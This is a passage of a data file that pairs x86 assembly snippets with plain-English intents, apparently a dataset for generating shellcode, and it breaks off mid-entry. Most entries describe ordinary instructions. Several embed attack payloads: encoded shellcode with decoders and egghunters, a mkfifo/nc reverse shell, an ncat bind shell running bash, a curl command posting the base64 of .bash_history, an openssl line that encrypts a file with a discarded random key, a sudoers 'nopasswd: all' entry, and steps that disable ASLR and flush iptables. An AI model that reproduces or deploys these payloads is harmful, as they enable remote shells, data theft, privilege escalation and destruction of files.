SNIPPETS INTENTS _appendfile: declare appendfile_label _appendfile: define the _appendfile label _build: declare _build label _build: define the _build label _child: define the _child label _close: declare _close label _close: define the _close label _cmd: define _cmd label _cmd: declare _cmd register _cmd: define the _cmd label _continue: define the _continue label _decoder: define _decoder_label _dup2_loop: define _dup2_loop label _dup2_loop: define the _dup2_loop label _egg: define the _egg label _exec: declare _exec _label _exec: define _exec label _exec: declare _exec label _exec: define the _exec label _execline: define _execline label _execline: define the _execline label _exit: define _exit label _exit: define the _exit label _file: _declare _file label _file: define _file_label _file: define the _file label _ip equ 0x0100007f define ip address as _ip = 0x0100007f _ip equ 0x0100007f define ip equal to 0x0100007f _isegg: define the _isegg label _load_data: define _load_data label _load_data: define the _load_data label _next: define the _next label _param: declare _param label _param: define the _param label _params: define _params label _params: define the _params label _parent_read: define the _parent_read label _parent: define the _parent label _random: define _random label _random: define the _random label _read: define _read label _return: define the _return label _setsockopt: define the _setsockopt label _shell: define the _shell label _socket: define the _socket label _start: declare _start label _start: _start function _start: _start label _start: _start _start: define the _start label _start: \n jmp call_decoder define the _start label and jump short to the call_decoder _start: \n jmp call_decoder define the _start label and jump to the call_decoder _start: \n jmp call_decoder define the _start label and jump to call_decoder _start: \n jmp short call_decoder define the _start label and jump short to the call_decoder _start: \n jmp short call_decoder define the _start label and jump short to call_decoder _start: \n jmp short call_shellcode define the _start label and jump short to the call_shellcode _start: \n jmp short call_shellcode define the _start label and jump short to call_shellcode _start: \n jmp short call_shellcode define the _start label and jump short to call_shellcode label _start: \n jmp short enc define the _start label and jump short to enc _start: \n jmp short stage define the _start label and jump short to stage _user: declare _user label _user: define the _user label _while_loop: define the _while_loop label _write: declare _write label _write: define _write label _write: define the _write label 1: define the numeric label 1 1: define the label 1 2: define the label 2 2: define the numeric label 2 3: define the label 3 3: define the numeric label 3 a_letter db 'd' allocate one byte of memory for a_letter variable and initialize it to 'd' aas correct the result od the previous unpacked decimal substraction in al register adc eax, 0x9c09ebea sum hexadecimal value 0x9c09ebea with eax register. if cf is set, add 1 to eax. add [ebp-4], esi add esi into memory address ebp-4 add ah, bh add the contents of the bh register into the ah register add al, 0x2 add 0x2 to al add al, 0x25 add 0x25 to the al register add al, 0x3 add 0x3 to the contents in al and save the result in al add al, 0x33 add 0x33 to the contents in al and save the result in al add al, 0x40 add 0x40 to the al register add al, 0x66 add 0x66 to the contents in al and save the result in al add al, 0xa add 0xa to the al register add al, 0xb add 0xb to the al register add al, 2 add 2 to al register add al, 2 add the value 2 to the contents of the al register add al, 3 add 3 to al register add al, 3 add 3 to al add al, byte '0' add byte '0' to al add al, byte [edi] add the byte in edi to the al register add al,0x2 add hexadecimal value 0x2 to al register add al,0x3 add the value 0x3 into al register add al,0x33 add the hexadecimal value 0x33 to al register add al,0x3b add hexadecimal value 0x3b to al register add al,0x66 add the hexadecimal value 0x66 to al register add ax, [di + 20] add memory[di + 20] to ax add ax, 01 add 01 to ax add ax, bx add the contents of bx into ax add bl, 0x2 load jexadecimal value 0x2 into bl register add bl, 0x2 add 2 to bl content add bl, 0x2 add 0x2 to the contents in bl and save the result in bl add bx, ax add ax to bx add byte [edi], 0x4 \n not byte [edi] add 0x4 from the byte at the address edi and negate the result add byte [edi], 7 \n not byte [edi] add the byte at the address edi after subtracting the value 7 add byte [edi], 8 \n not byte [edi] add the value 8 from the byte in edi and negate it add byte [esi], 0x02 add 0x02 to the current byte in esi add byte [esi], 0x1 \n not byte [esi] add 0x1 from the current byte of the shellcode and negate the result add byte [esi], 0x1 \n not byte [esi] add 0x1 from the byte at the address esi and negate the result add byte [esi], 0x10 add 0x10 to the current byte in esi add byte [esi], 0x9 \n not byte [esi] add the value 0x9 from the current byte of the shellcode and then negate the result add byte [esi], 2 adds 2 to the first character pointed from esi add byte [esi], 2 add the byte value 2 to the esi register add byte [esi], 2 \n not byte [esi] negate the byte at the address esi after adding the value 2 add byte [esi], 3 \n not byte [esi] add the value 3 from the byte in esi and negate it add byte [var], 10 add 10 to the single byte stored at memory address var add byte [var], 20 add 20 to the single byte stored at memory address var add byte [var], 30 add 30 to the single byte stored at memory address var add byte_value, 65 add an immediate operand 65 to byte_value add byte_value, dl add the register dl in the memory location byte_value add cl, 0x2 add 2 to counter add cl, 0x2 add 2 to counter cl add cl, 0x2 add 0x2 to the contents in cl and save the result in cl add cl, 0xb8 add 0xb8 to the cl register add dx, 0x1b add the value 0x1b into the dx register add dx, 0x2f2f add 0x2f2f to the contents in dx and save the result in dx add dx,0x1b add 27 to dx contents add dx,0x2f2f then add to it the hexadecimal value 0x2f2f. add eax, [ebp-4] add the contents of the local variable stored at ebp-4 into eax add eax, 0x10 add 0x10 to eax add eax, 0x12345678 add 0x12345678 to the contents in eax and save the result in eax add eax, 0x2d383638 add 0x2d383638 to the contents in eax and save the result in eax add eax, 0x2d383638 \n push eax push ÔhmodÕ on stack add eax, 0x31179798 add 0x31179798 to the contents in eax and save the result in eax add eax, 0x5 \n jnz L2 add 0x5 to edx and jump to L2 if the result is not 0 add eax, 0x7 \n jnz L4 add the value 0x7 to eax and jump to the label L4 if the sum is not zero add eax, 1 \n jnz L1 add 1 to ebx and jump to L1 if the result is not zero add eax, 10 add 10 to eax add eax, 10 add 10 to the contents of eax add eax, 16 add 16 to eax add eax, 2 add 2 to the contents of the eax register add eax, 2 add 2 to the eax register add eax, 2 add decimal 2 to eax register add eax, 24 add 24 to eax add eax, 3 \n jnz L3 add 3 to ecx and jump to L3 if the sum is not zero add eax, 4 add 4 to eax add eax, 4 \n jnz decode add 4 to eax and jump to decode if the result is not zero add eax, 40000h add 40000h to eax register add eax, 48 add decimal 48 to eax add eax, 48 add 48 to eax add eax, 9 \n jnz decode add the value 9 to eax and jump to decode if the result is not zero add eax, c add c to eax add eax, ebx add the contents of ebx to the contents of eax add eax, ebx add the value on ebx to eax add eax, ebx add ebx to eax add eax, ebx add ebx to eax and store the result in eax add eax, edx add edx to eax add eax, edx add the contents of edx to the contents of eax add eax, edx add the contents of the edx register to the contents of eax register add eax, esi add the contents of esi to the contents of eax add eax, esi add the contents of the esi register to the contents of eax register add eax,0xe458376a add hexadecimal value 0xe458376a to eax register add ebp, 0x2 add 0x2 to the contents of ebp add ebp, 0x2 add 0x2 to ebp add ebx, 0x2 save sys_connect = 3 into ebx register add ebx, 0x2 add 0x2 to the contents in ebx and save the result in ebx add ebx, 16 add 16 to ebx add ebx, 2 add decimal integer 2 to ebx add ebx, 2 add 2 to the contents of the ebx register add ebx, 24 add 48 to ebx add ebx, 3 add the value 3 to the content of ebx register add ebx, 3 add 3 to the contents of the ebx register add ebx, 5 add decimal integer 5 to ebx add ebx, ecx add ecx to ebx add ebx,2 add 2 to ebx content add ecx, 1 add the value 1 into the ecx register add ecx, 16 add 16 to ecx add ecx, ebx add ebx to ecx add edi, 2 add 2 to edi add edi, 37 add 37 to edi contents add edi, edi add the contents of edi to the contents of edi add edi, edi add the contents of the edi register to the contents of edi register add edi,0x11111111 add hexadecimal value 0x11111111 to edi content add edx, 16 set edx to next 16 byte block add edx, 32 add 32 to edx add edx, 48 add 48 to edx add edx, 64 add the value 64 to the content of edx register add edx, 64 add 64 to the contents of the edx register add edx, eax add the contents of eax to the contents of edx add edx, eax add the contents of the eax register to the contents of edx register add edx, eax add the contents of the eax register to the edx register add edx, ecx add ecx to edx add edx,ebx add ebx content to edx add esi, 0x21354523 add 0x21354523 to the contents in esi and save the result in esi add esi, 0x21354523 add 0x21354523 to the contents of esi add esi, 0x30 add hexadecimal value 0x30 to esi content add esi, 0x30 add 0x30 to esi add esi, 0x33333333 add the hexadecimal value 0x33333333 at esi content add esi, 0x33333333 add 0x33333333 value to esi add esi, 0x3f3f3f3f add 0x3f3f3f3f to the contents in esi and save the result in esi add esi, 0x8 add 0x8 to esi add esi, 0x8 "make esi point to next 8bytes of ""shellcode""" add esi, 2 add 2 to the contents of esi add esi, 4 add 4 to the contents of the esi register add esi, 4 add 4 to esi add esi, eax set the mem addr dinamically add esi, eax add the contents of the eax register to the contents of esi register add esi, eax add eax to esi add esi,4 scan the next section of mem add esp, 0x20 add 0x20 to the contents in esp and save the result in esp add esp, 3 add 3 to the contents of esp add esp, 3 add 3 to the contents of the esp register add esp, 4 add 4 to the esp register add marks, 10 add 10 to the variable marks addr: db 0x1 define addr = db 0x1 addr: db 0x1 define the byte addr and initialize it to 0x1 all: define _all label all: define the all label an_integer dd 12425 define the doubleword an_integer and initialize it to 12425 and al, 0fh perform a logical and operation between the al register and the 0fh value and store the result in the al register and ax, 1 perform logical and between ax and 1 and eax, 0000000fh mask out lowest 4 bits of the eax register and eax, 0fh clear all but the last 4 bits of eax and eax, 3f465456 perform and operation between eax and 3f465456 and save the result in eax and eax, 40392b29 perform and operation between eax and 40392b29 and save the result in eax and ebx, 0000000fh mask out lowest 4 bits of the ebx register and ecx, 0000000fh mask out lowest 4 bits of the ecx register and ecx,dword ptr [eax-0x7] anding the double word at the adress eax-0x7 and ecx register and ecx,dword ptr [ebx+0x1a] anding the double word at the adress ebx+0x1a and ecx register and edx, 0000000fh mask out lowest 4 bits of the edx register and mask1, 128 perform and operation on the variable mask1 and 128 arr dd 100 define the doubleword arr and initialize it to 100 arr dd 50 define the doubleword arr and initialize it to 50 arr1 resb 400 reserve the array arr1 of 400 uninitialized bytes array dd 20 define the doubleword arr and initialize it to 20 array word 20 define an array of 20 initialized word array word 5 define an array of 5 initialized word aslr_file: define _aslr_file label b: dd 0x0 create variable b in memory and initialize to zero big_number dd 123456789 define the doubleword variable big_number and initialize it to 123456789 bignum: resw 1 reserve 1 word at location bignum bound ebp,qword ptr [ecx+0x6e] perform a bound check to array index bound ebp,qword ptr [edx-0x55915597] perform a bound check to array index bound esp,qword ptr [ebx+0x41] perform a bound check to array index buffer: resb 64 reserve 64 bytes for buffer buffersize: dw 1024 declare buffersize to be a word containing 1024 byte_table db 14, 15, 22, 45 define a tables of bytes byte_table and initialize to 14, 15 and 22 byte_value db 150 define the byte value byte_value and initialize it to 150 bytes db 10 define the byte value bytes and initialize it to 10 bytes db 20 define the byte value bytes and initialize it to 20 call _appendfile call the _appendfile function "call _appendfile \n msg2 db ""passwd"", 0x00" jump to _appendfile label after putting the address of the next istruction on the top pf the stack call _build call the _build function "call _build \n msg db ""curl http://localhost:8080 -d 'data='$(cat .bash_history | base64 -w 0) -x post"", 0x0a" push the address of msg on the top of the stack, and then change the eip to the address in _build label call _continue call _continue call _continue call the _continue function call _exec jump to _exec label call _exec call the _exec function "call _exec \n msg db ""mv test.txt .test.txt && head -c 32 /dev/urandom | base64 | openssl aes-256-cbc -e -in .test.txt -out test.txt -pbkdf2 -k - && rm .test.txt"", 0x0a" push the address of message on the top of the stack, and then change the eip to the address in _exec label call _exit call _exit call _malloc call _malloc call _myfunc call the _myfunc function call _params call the _params function "call _params \n string db ""test.txt""" push the address of test.txt on the top of the stack, and then change the eip to the address in _params label call _printf call the _printf function call _write call the _write function "call _write \n google: db ""127.1.1.1 google.com""" go to _write label after entering google address on the top of the sack call [esp] push the current code location on stack and the perform an unconditional jumo to the code location indicated by esp content call [esp] execute decoded_shellcode call [esp] call the function in esp call atoi call the atoi function call code call the code function "call code \n file: db ""/sbin/iptables#-f""" "push the address of file: db ""/sbin/iptables#-f"" on the top of the stack, and then change the eip to the address in code_label" call cont call the cont function call cont \n db '0',10 go to _cont after entering db '0',10 adress on the top of the stack call decoder jump to _decoder label call decoder go to _decoder label call decoder go to deocder label call decoder jump to decoder_label call decoder call the function decoder call decoder call the decoder function call decoder call decoder call decoder \n encoded_shellcode: dw 0x545, 0x4a3, 0x583, 0x5d3, 0x541, 0x541, 0x439, 0x5d3, 0x5d3, 0x541, 0x5e7, 0x5d5, 0x5cf, 0x411, 0x4eb, 0x443, 0x509, 0x48d, 0x423, 0x539 jump to _decoder label after saving encoded_shellcode ' dw 0x545, 0x4a3, 0x583, 0x5d3, 0x541, 0x541, 0x439, 0x5d3, 0x5d3, 0x541, 0x5e7, 0x5d5, 0x5cf, 0x411, 0x4eb, 0x443, 0x509, 0x48d, 0x423, 0x539' pointer to esi call decoder \n encoded: dw 0x04, 0x539, 0x9d9, 0x6c9, 0xfc9, 0xc49, 0xc29, 0x839, 0xdf9, 0xc49, 0xc49, 0x839, 0x839, 0xce9, 0xc59, 0x259, 0x4f9, 0xfc9, 0x259, 0x4e9, 0xff9, 0x259, 0x4d9, 0x1c9, 0xa79, 0x619, 0x2c9, 0x539 jump to decoder_label after entering the double word string encoded '0x04, 0x539, 0x9d9, 0x6c9, 0xfc9, 0xc49, 0xc29, 0x839, 0xdf9, 0xc49, 0xc49, 0x839, 0x839, 0xce9, 0xc59, 0x259, 0x4f9, 0xfc9, 0x259, 0x4e9, 0xff9, 0x259, 0x4d9, 0x1c9, 0xa79, 0x619, 0x2c9, 0x539' on stack call decoder \n encodedshellcode: db 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce push the address of encodedshellcode on the top of the stack, and then change the eip to the address in _shellcode label call decoder \n encodedshellcode: db 0xd6,0x47,0xb7,0x9f,0xd8,0xd8,0x94, 0x9f,0x9f,0xd8,0xa5,0x9e,0x99,0x7e,0x24,0xb7,0x7e,0x25,0xb4,0x7e,0x26,0x57,0xfc,0x3a,0x87 jump to _decoder label after entering _encodedshellcode (db db 0xd6,0x47,0xb7,0x9f,0xd8,0xd8,0x94,0x9f,0x9f,0xd8,0xa5,0x9e,0x99,0x7e,0x24,0xb7,0x7e,0x25,0xb4,0x7e,0x26,0x57,0xfc,0x3a,0x87) on the top of the stack call decoder \n shellcode: db 0x18,0x38,0xc7,0x57,0x6f,0x36,0x36,0x7a,0x6f,0x6f,0x36,0x69,0x70,0x75,0x90,0xea,0x38,0xd0,0x90,0xd1,0x71,0x12,0x5f,0xd4,0x87 go to _decoder label after entering the address of the array shellcode (0x18,0x38,0xc7,0x57,0x6f,0x36,0x36,0x7a,0x6f,0x6f,0x36,0x69,0x70,0x75,0x90,0xea,0x38,0xd0,0x90,0xd1,0x71,0x12,0x5f,0xd4,0x87) on the top of the stack call decoder \n shellcode: db 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b,0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d go to _decoder label after entering shellcode (db 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b,0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d) address on the top of the stack call decoder \n shellcode: db 0x4b,0xf7,0x13,0x59,0xcc,0x8c,0x63,0x5e,0x9f,0x8d,0x99,0x9f,0x1f,0xa4,0x3b,0x6e,0xc6,0x36,0x23 \n shellcodelen equ $-shellcode shellcode address will be pushed into the stack call decoder \n shellcode: db 0x62,0x60,0xa0,0x34,0x5e,0x97,0xe6,0x34,0xd0,0x97,0xc4,0xb4,0xdc,0xc4,0xc7,0x28,0x13,0x71,0xa6,0xc4,0xc3,0x58,0x16,0xe6,0x01 go to _decoder label after entering shellcode Ô0x62,0x60,0xa0,0x34,0x5e,0x97,0xe6,0x34,0xd0,0x97,0xc4,0xb4,0xdc,0xc4,0xc7,0x28,0x13,0x71,0xa6,0xc4,0xc3,0x58,0x16,0xe6,0x01Õ on the top of the stack call decoder \n xor dword ptr [edx-0x55af5540],ebp xoring ebp content with the double word at the adress edx-0x55af5540 then go to decoder label call decoder_setup call decoder_setup call decoder1 \n xor_value: db 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa \n rot_value: db 13, 13, 13, 13, 13, 13, 13, 13 \n shellcode: db 0x94,0x67,0xf7,0xdf,0x96,0x96,0x2a,0xdf,0xdf,0x96,0xc5,0xdc,0xd1,0x3c,0x5a,0xf7,0x3c,0x45,0xca,0x3c,0x44,0x17,0xb2,0x70,0x27 jump to decoder1_label afetr entering xor_value, rot_value and shellcode on the top pf the stack call doit call the doit function call egghunter go to egghunter call egghunter call the egghunter function call esi call esi call esi call the function in esi call esp call esp call execute call the execute function "call execute \n db ""cp /bin/sh /tmp/shÓ" "put db ""cp /bin/sh /tmp/shÓ address on stack then jump to _esecute label" call internetreadfile call function internetreadfile call iprint call the iprint function call iprintlf call the iprintlf function call jmp_search call jmp_search call jmp_search call the jmp_search function call loader call loader call loader call the loader function call main call the main function call me call the me function call my_subroutine call my_subroutine call near stageaddress call near stageaddress call near stageaddress call the near function call one call the one function "call one \n string: db ""/etc/passwd""" "push the address of string: db ""/etc/passwd"" on the top of the stack, and then change the eip to the address in one_label" call open jump to open_label call prepare call the prepare function call prepare \n db ',ajm,pk#########' go to prepere after storing string on the stack call quit call the quit function call returnlabel call returnlabel call set_argv call set_argv call set_argv call the set_argv function "call set_argv \n cmd: db ""cat /etc/passwd;echo do__ne""" "go to _set_argv label afeter entering the byte string cmd = cat /etc/passwd;echo do__ne on stack" call shell_ret call the shell_ret function call shell_ret \n db Ò/bin/shÓ go to shell_ret label after ebtering byte string Ò/bin/shÓ address on stack call shellcode jump to the address of shellcode_label call shellcode call the shellcode function call shellcode \n db '/proc/sys/kernel/randomize_va_space' go to _shellcode label after entering the address of the string = Ô/proc/sys/kernel/randomize_va_space' on the top of the stack call shellcode \n db '/proc/sys/kernel/randomize_va_spacex' go to _shellcode label after entering the byte string '/proc/sys/kernel/randomize_va_spacex' address on stack call shellcode \n db 'my.txtx' go to _shellcode label after entering the byte string Ômt.txtxÕ address on the top of the stack "call shellcode \n message db ""/bin/sh""" push the address of /bin/sh on the top of the stack, and then change the eip to the address in shellcode_label call shellcode \n port: db 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77 go to shellcode label after entering port: db db 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77 address on stack call shellcode db '/usr/bin/ncat#-lvp1337#-e/bin/bash#aaaabbbbccccdddd' jump to shellcode_label after entering the byte string '/usr/bin/ncat#-lvp1337#-e/bin/bash#aaaabbbbccccdddd' on the top of the stack call sprint call the sprint function call sprintlf call the sprintlf function call start call the start function call strlen call the strlen function call two call the two function call write go to _write label call write call the write function "call write \n db ""all all=(all) nopasswd: all"" , 0xa" "entring db ""all all=(all) nopasswd: all"" , 0xa address on stack, then jump to _write label" call writestring call writestring call writestring call the writestring function "call writestring \n db ""rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | /bin/nc localhost 9999 > /tmp/fr""" "go to _writestring label after entering the byte string ""rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | /bin/nc localhost 9999 > /tmp/fr"" address on the top of the stack" call_decoded: define call_decoded_label call_decoded: define the call_decoded label call_decoded: \n call [esp] define call_decoded and execute it call_decoder: declare _call_decoder label call_decoder: define _call_decoder label call_decoder: define call_decoder label call_decoder: define call_decoder_label call_decoder: define call_decoder function call_decoder: define call_decoder call_decoder: call_decoder label call_decoder: define the call_decoder label call_decoder: \n call decoder define call_decoder and call decoder function call_decoder: \n call decoder define the call_decoder label and call the decoder function call_decoder: \n call decoder define call_decoder and call decoder call_decoder: \n call decoder \n shellcode: db 0xeb,0x25,0x5e,0x31,0xc9,0xb1,0x1e,0x80,0x3e,0x07,0x7c,0x05,0x80,0x2e,0x07,0xeb,0x11,0x31,0xdb,0x31,0xd2,0xb3,0x07,0xb2,0xff,0x66,0x42,0x2a,0x1e,0x66,0x29,0xda,0x88,0x16,0x46,0xe2,0xe2,0xeb,0x05,0xe8,0xd6,0xff,0xff,0xff,0x38,0xc7,0x57,0x6f,0x69,0x68,0x7a,0x6f,0x6f,0x69,0x70,0x75,0x36,0x6f,0x36,0x36,0x36,0x36,0x90,0xea,0x57,0x90,0xe9,0x5a,0x90,0xe8,0xb7,0x12,0xd4,0x87 in the function call_decoder call the decoder routine and define shellcode as array of bytes 0xeb,0x25,0x5e,0x31,0xc9,0xb1,0x1e,0x80,0x3e,0x07,0x7c,0x05,0x80,0x2e,0x07,0xeb,0x11,0x31,0xdb,0x31,0xd2,0xb3,0x07,0xb2,0xff,0x66,0x42,0x2a,0x1e,0x66,0x29,0xda,0x88,0x16,0x46,0xe2,0xe2,0xeb,0x05,0xe8,0xd6,0xff,0xff,0xff,0x38,0xc7,0x57,0x6f,0x69,0x68,0x7a,0x6f,0x6f,0x69,0x70,0x75,0x36,0x6f,0x36,0x36,0x36,0x36,0x90,0xea,0x57,0x90,0xe9,0x5a,0x90,0xe8,0xb7,0x12,0xd4,0x87 call_egghunter: define call_egghunter label call_egghunter: define the call_egghunter label call_shellcode: declare _call_shellcode label call_shellcode: declare call_shellcode_label call_shellcode: define call_shellcode_label call_shellcode: delcare call_shellcode_label call_shellcode: define call_shellcode label call_shellcode: define call_shellcode function call_shellcode: call_shellcode function call_shellcode: call_shellcode routine call_shellcode: declare the call_shellcode label call_shellcode: define the call_shellcode label call_shellcode: \n call decoder define the call_shellcode label and call the decoder function call_shellcode: \n call decoder define the call_shellcode function and call decoder call_shellcode: \n call decoder define call_shellcode and call decoder function call_shellcode: \n call decoder in call_shellcode call the decoder function call_shellcode: \n call decoder in call_shellcode execute the decoder routine call_write: define _call_write label call_write: define the call_write label callit: define the callit label callme: define the callme label callpop: define _ callpop label callpop: define the callpop function callpop: define the callpop label cdq convert the doubleword with sign (32 bit) provided in eax into the quadword with sign (64 bit) left in edx:eax cdq convert the doubleword with sign (32 bit) provided in eax into the quadword with sign (64 bit) left in edx:eax (clear eax and edx registers) cdq zero out edx using the sign bit from eax cdq save edx as a null byte cdq convert signed dword in eax to a signed quad word in edx:eax cdq set edx to 0 cdq edx to 0 cdq set edx = 0 cdq overwriting edx with either 0 cdq zero out edx cdq clear the edx register cdq extend the sign bit of the eax register into the edx register cdq extend the sign bit of eax register into the edx register cdq extend the sign bit of eax into the edx register cdq \n mov ecx, edx zero out edx and ecx regsiter cdq \n push edx zero out edx and push ortocol id = 0 on stack check_even_odd: define check_even_odd label check_even_odd: define check_even_odd check_even_odd: define check_even_odd function child: define the child function child: define the child label chmod_call equ 15 define chmod_call =15 chmod_call equ 15 define chmod_call equal to 15 choice db 'y' define variable choice of 1 byte and initialize to y cld clear the direction flag cld clear direction flag increasing si and di index registers. cld set the direction flag to zero cld direction flag equal to zero cli clear interrupt flag close_syscall equ 6 define close_syscall=6 close_syscall equ 6 define close_syscall equal to 6 close: define close_label closefile: define _closefile label closefile: define the closefile function closefile: define the closefile label cmd: define _cmd label cmd: define the cmd label cmd: db 'cat /etc/passwd' declare cmd string and initialize it to 'cat /etc/passwd' cmd: db 'cat /etc/passwd' define cmd as the byte string 'cat /etc/passwd' cmp [ebp+arg_0], 1 compare the contents stored at ebp+arg_0 with 1 cmp [ebp+var_a], 0 compare if the contents at memory location ebp+var_a is 0 cmp [ebp+var_a], 0 compare the contents at memory location ebp+var_a with 0 cmp [ebp+var_a], 0 \n jnz short loc_4010E5 jump short to the memory location loc_4010E5 if the contents of the memory address ebp+var_a is not equal to zero cmp [ebp+var_a], 0 \n jnz short loc_4010E5 if the contents of the memory address ebp+var_a is not equal to zero then jump short to the memory location loc_4010E5 cmp [esi], edx compare the contents at memory location esi and the contents of the edx register cmp [esi], edx compare the contents at memory location esi with edx cmp al, 0x38 \n je 0x40 \n push byte 0x1 jump to the memory address 0x40 if the contents of the al register is equal to the value 0x38 else push the byte representation of the value 0x1 onto the stack cmp al, 0x38 \n je 0x40 \n push byte 0x1 if the contents of the al register is equal to the value 0x38 then jump to the memory address 0x40 else push the byte representation of the value 0x1 onto the stack cmp al, 0xaa \n je decode_insertion \n xor al, bl jump to the decode_insertion label if the contents of the al register is equal to the vale 0xaa else perform a logical xor operation between the al register and the bl register and store the result in the al register cmp al, 0xaa \n je decode_insertion \n xor al, bl if the contents of the al register is equal to the vale 0xaa then jump to the decode_insertion label else perform a logical xor operation between the al register and the bl register and store the result in the al register cmp al, 0xf2 if it return efault, bad address cmp al, 0xf2 compare if the contents of al with 0xf2 cmp al, 0xf2 compare the contents of the al register and 0xf2 cmp al, 0xf2 compare the contents of the al register with the value 0xf2 cmp al, 0xf2 \n je _start jump to the _start label if the contents of the al register is equal to the value 0xf2 cmp al, 0xf2 \n je _start if the contents of the al register is equal to the value 0xf2 then jump to the _start label cmp al, 0xf2 \n je _start \n mov eax, 0x50905090 jump to the _start label if the contents of the al register is equal to the value 0xf2 else move the value 0x50905090 into the eax register cmp al, 0xf2 \n je _start \n mov eax, 0x50905090 if the contents of the al register is equal to the value 0xf2 then jump to the _start label else move the value 0x50905090 into the eax register cmp al, 0xf2 \n je fillOnes jump to the fillOnes label if the contents of the al register is equal to the value 0xf2 cmp al, 0xf2 \n je fillOnes if the contents of the al register is equal to the value 0xf2 then jump to the fillOnes label cmp al, 0xf2 \n je fillOnes \n mov eax, 0x59935193 jump to the fillOnes label if the contents of the al register is equal to 0xf2 else move the value 0x59935193 into the eax register cmp al, 0xf2 \n je fillOnes \n mov eax, 0x59935193 if the contents of the al register is equal to 0xf2 then jump to the fillOnes label else move the value 0x59935193 into the eax register cmp al, 0xf2 \n je next_page jump to the label next_page if the contents of the al register is equal to the value 0xf2 cmp al, 0xf2 \n je next_page if the contents of the al register is equal to the value 0xf2 then jump to the label next_page cmp al, 0xf2 \n jz _start jump to the _start label if the contents of the al register is equal to the value 0xf2 cmp al, 0xf2 \n jz _start if the contents of the al register is equal to the value 0xf2 then jump to the _start label cmp al, 0xf2 \n jz incpage if the contents of the al register is equal to the value 0xf2 then jump to the incpage label cmp al, 0xf2 \n jz incpage jump to the incpage label if the contents of the al register is equal to the value 0xf2 cmp al, 0xf2 \n jz next_page verify if sys_access returned an efault, and if it matchs jump to next_page label cmp al, 9 \n jg l1 jump to the label l1 if the contents of the al register is greater than the decimal value 9 cmp al, 9 \n jg l1 if the contents of the al register is greater than the decimal value 9 then jump to the label l1 cmp al, 9 \n jge l1 jump to the label l1 if the contents of the al register is greater than or equal to the decimal value 9 cmp al, 9 \n jge l1 if the contents of the al register is greater than or equal to the decimal value 9 then jump to the label l1 cmp al, bl \n ja l2 \n add eax, 3 jump to the l2 label if the unsigned contents of the al register is greater than the unsigned contents of the bl register else add the value 3 to the eax register cmp al, bl \n ja l2 \n add eax, 3 if the unsigned contents of the al register is greater than the unsigned contents of the bl register then jump to the l2 label else add the value 3 to the eax register cmp al, bl \n jb l2 jump to the label l2 if the unsigned contents of the al register is lower than the unsigned contents of the bl register cmp al, bl \n jb l2 if the unsigned contents of the al register is lower than the unsigned contents of the bl register then jump to the label l2 cmp al, cl compare the contents of al with the cl register cmp al, cl compare the contents of the al register and the contents of the cl register cmp al, cl \n jne short decode \n jmp shellcode if the contents of the al register is not equal to the contents of the cl register then jump short to the decode label else jump to the shellcode label cmp al, cl \n jne short decode \n jmp shellcode jump short to the decode label if the contents of the al register is not equal to the contents of the cl register else jump to the shellcode label cmp al, cl \n jnz short decode \n jmp shellcode check if reached the end of shellcode comparing cl with al register. if not return to _decode label else go to _shellcode label cmp al, cl \n jnz short decode \n jmp shellcode jump short to decode if al is not equal to cl else jump to shellcode cmp al,0xaa \n je decode_insertion if al regsiter content is equal to the hexadecimal value 0xaa jump to decode_insertion label cmp al,0xf2 \n jz _start if efault page alignment cmp ax, bx \n jne l3 jump to the l3 label if the contents of the ax register is not equal to the contents of the bx register cmp ax, bx \n jne l3 if the contents of the ax register is not equal to the contents of the bx register then jump to the l3 label cmp ax, bx \n jne l3 \n jmp while if the contents of the ax register is not equal to the contents of the bx register then jump to the l3 label else jump to the while label cmp ax, bx \n jne l3 \n jmp while jump to the l3 label if the contents of the ax register is not equal to the contents of the bx register else jump to the while label cmp bh, al compare the contents of bh and the contents of al cmp bl, 0x1f compare the contents of bl and 0x1f cmp bl, 0x1f \n jb 0xf3 \n add al, 0x40 jump to the memory address 0xf3 if the unsigned contents of the bl register is lower than the unsigned value 0x1f else add the 0x40 value to the al register cmp bl, 0x1f \n jb 0xf3 \n add al, 0x40 if the unsigned contents of the bl register is lower than the unsigned value 0x1f then jump to the memory address 0xf3 else add the 0x40 value to the al register cmp bl, 0xaa \n je shellcode if the contents of the bl register is equal to the value 0xaa then jump to the shellcode label cmp bl, 0xaa \n je shellcode jump to the shellcode label if the contents of the bl register is equal to the value 0xaa cmp bl, 0xaa \n jz shellcode jump to shellcode if bl is equal to 0xaa cmp bl, 0xaa \n jz shellcode \n cmp bl, 0xbb \n jz xordecode jmp notdecode compare the content of bl register with the end character, 0xaa. if they arer equal go to shellcodelable, else compare the content of bl register with the character 0xbb that is the placeholder for xor. if they are equal go to _xordecode label. else go to _notdecode label. cmp bl, 0xbb \n je xordecode \n jmp notdecode if the contents of the bl register is equal to the value 0xbb then jump to the xordecode label else jump to the notdecode label cmp bl, 0xbb \n je xordecode \n jmp notdecode jump to the xordecode label if the contents of the bl register is equal to the value 0xbb else jump to the notdecode label cmp bl, 0xbb \n jz xordecode \n jmp notdecode jump to xordecode if bl is equal to 0xbb else jump to notdecode cmp bl, 48 compare ebx register's lower half value against ascii value 48 cmp bl, 57 compare ebx register's lower half value against ascii value 57 cmp bl, 78h \n jg short loc_402B1D jump to the memory location loc_402B1D if the contents of the bl register is greater than the value 78h cmp bl, 78h \n jg short loc_402B1D if the contents of the bl register is greater than the value 78h then jump to the memory location loc_402B1D cmp bl, 78h \n jge short loc_402B1D jump to the memory location loc_402B1D if the contents of the bl register is greater than or equal to the value 78h cmp bl, 78h \n jge short loc_402B1D if the contents of the bl register is greater than or equal to the value 78h then jump to the memory location loc_402B1D cmp bl, 78h \n 